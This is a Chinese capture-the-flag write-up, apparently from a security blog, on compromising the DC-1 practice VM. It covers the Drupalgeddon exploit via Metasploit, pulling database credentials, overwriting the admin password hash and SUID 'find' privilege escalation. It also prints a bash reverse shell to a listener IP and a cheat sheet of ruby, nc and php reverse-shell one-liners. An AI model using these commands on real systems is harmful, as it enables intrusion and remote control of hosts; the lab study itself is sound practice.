专栏首页HACKWAYDC-1靶机渗透实操全过程,一起来玩吧!

DC-1靶机渗透实操全过程,一起来玩吧!

靶机介绍

这次的靶机渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标。靶机下载地址见文章底部标注[1]

信息搜集

直接访问页面,根据经验应该为drupal的网站,从web入手,找该cms漏洞利用工具

同时上nmap进行端口扫描,查看开启的服务及是否有敏感信息文件

可知开放22、80、110端口,linux主机 网站CMS确定为Drupal版本号为7

渗透实战

  1. 直接msf查询该Drupal,并直接利用drupal_drupageddon模块获取webshell
  1. 拿到meterpreter shell查看本地文件目录发现flag1.txt
meterpreter > sysinfo 
Computer    : DC-1
OS          : Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686
Meterpreter : php/linux

meterpreter > cat flag1.txt

Every good CMS needs a config file - and so do you
# 提示查看配置文件
  1. 通过在网站根目录查找关键字,找到配置文件为site/setting.php,其中有帐号密码

find . -type f | xargs grep "password"

  1. 打开配置文件,发现flag2,并提示爆破不能进入后台,尝试其他方式,先连接本地mysql数据库查看是否有后台明文密码
meterpreter > cat settings.php
<?php

/**
 *
 * flag2
 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
 *
 */

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

注意

  • 切换到shell连接mysql,发现不能回显,无法进入交互界面
  • 用bash回弹一个shell
  • 本地监听2222端口

nc -lvp 2222

  • 反弹bash,获取到一个可以交互的shell

python -c "import pty;pty.spawn('/bin/bash')" # 获取一个交互shell bash -i >& /dev/tcp/172.16.0.10/2222 0>&1 # 反弹bash

  • 重新连接本地数据库

mysql -udbuser -pR0ck3t

  1. 查看网站用户账号密码,发现密码经过加密

select * from users \G;

mysql> select * from users \G;

uid: 1
name: admin
pass: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
mail: admin@example.com
theme: 
signature: 
signature_format: NULL
created: 1550581826
access: 1550583852
login: 1550582362
status: 1
timezone: Australia/Melbourne
language: 
picture: 0
init: admin@example.com
data: b:0;
  1. 根据提示需要进入后台,这个密文用爆破工具也无法解密,那直接把admin密码改掉,强上后台,查看网站本地发现有脚本对设置的密码进行加密,针对弱口令123456根据网站规则加密

php scripts/password-hash.sh 123456

php scripts/password-hash.sh 123456

password: 123456                
hash: $S$DqoimnZKpzNbUFgNiiGexSM.Z29/UXOFtPunnZY0nSHhJBi3RdNP

www-data@DC-1:/var/www$
  • 将加密的密码更新到数据库中

update users set pass='

S

DRP9A87VYWMUnTb4Dl7yivYAlibCNONO32cCB3Qc1LT5Alr90rAu' where uid=1;

  1. 通过robots.txt知道登录地址,通过admin登录成功查看flag3
  • 使用设置好的密码:123456,登陆admin账户,在content页面发现了flag3
  • 提示我们特殊的权限有助于发现隐藏内容,这里提到了shadow这个单词,于是立即想到/etc/passwd,先打开看看再说
  1. 查看用户发现flag4用户,直接打开flag4.txt,提示要进入root目录,即需要提权至root用户
  1. 查看权限文件,发现可以通过find命令suid提权
  • 可使用提权辅助脚本
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
  • 或者直接查看权限命令

find / -perm -u=s -type f 2>/dev/null find / -perm /4000 2>/dev/null

/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
  • find命令suid提权

touch test # 创建一个空文件 find test -exec 'whoami' ; #查看是否提权 find test -exec '/bin/sh' ;#将root的bash反弹

-----------至此获得所有的flag!!!---------

总结

  • 反弹bash的不同脚本命令,在命令交互无法返回结果时考虑换一个shell
python: python -c "import pty;pty.spawn('/bin/bash')"
ruby: ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
nc: nc -e /bin/bash ip port
php:<?php
$sock=fsockopen("ip",port);//自己的外网ip,端口任意
exec("/bin/sh -i <&3 >&3 2>&3");
?>
  • SUID提权常用反弹shell

find test -exec '/bin/sh' ;

  • 提权辅助脚本可以使用LinEnum

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

参考资料

[1]

靶机下载地址: http://www.five86.com/dc-1.html

本文分享自微信公众号 - HACKWAY(gh_7a5a315cde00),作者:HACKWAY

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-06-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Weevely入手指南

    Weevely是一款python编写的webshell管理工具,作为编写语言使用python的一款工具,它最大的优点就在于跨平台,可以算作是linux下的一款菜...

    轩辕小子
  • DC-4靶机渗透实战

    这次的靶机渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标。靶机下载地址:http://www.five86.com/dc-4.html

    轩辕小子
  • Python写爬虫你要了解的Bs4模块

    BS4全称是Beatiful Soup,官方文档[1]它提供一些简单的、python式的函数用来处理导航、搜索、修改分析树等功能。它是一个工具箱,通过解析文档为...

    轩辕小子
  • 权限管理su、sudo、限制root远程登录 原

    语法: su [-] username “-”可有可无,加上“-”的作用是在切换用户时初始化当前用户的各种环境变量。普通用户su不加username时就是直...

    阿dai学长
  • Linux三剑客之sed

    程序员同行者
  • yum 安装 python36 及 pi

    py3study
  • check cve

    今天想检查一下 Gitlab 11.9.0 产品受哪些 cve 的影响。其实网上已经有很多网站可以查询产品的相关 cve,但就是粒度比较粗。我想在 cve 列表...

    madneal
  • 程序员要拥抱变化,聊聊 Android 即将支持的 Java 8

    Java 9预计今年也会正式发布,Java 8这个最具变革性且变革性最适于GUI程序的版本,Android终于准备正式支持。从自己开发JavaFx的感受,说一说...

    WeTest质量开放平台团队
  • Java:未来已来

    在10月22的 Oracle Codeone大会上,Java平台的首席架构师 Mark Reinhold 做了The Future of Java is Tod...

    芋道源码
  • Saltstack_使用指南02_远程执行-验证 2.1. Master与哪些minion正常通信2.2. 查看master与指定minion通信是否正常

    踏歌行

扫码关注云+社区

领取腾讯云代金券

,,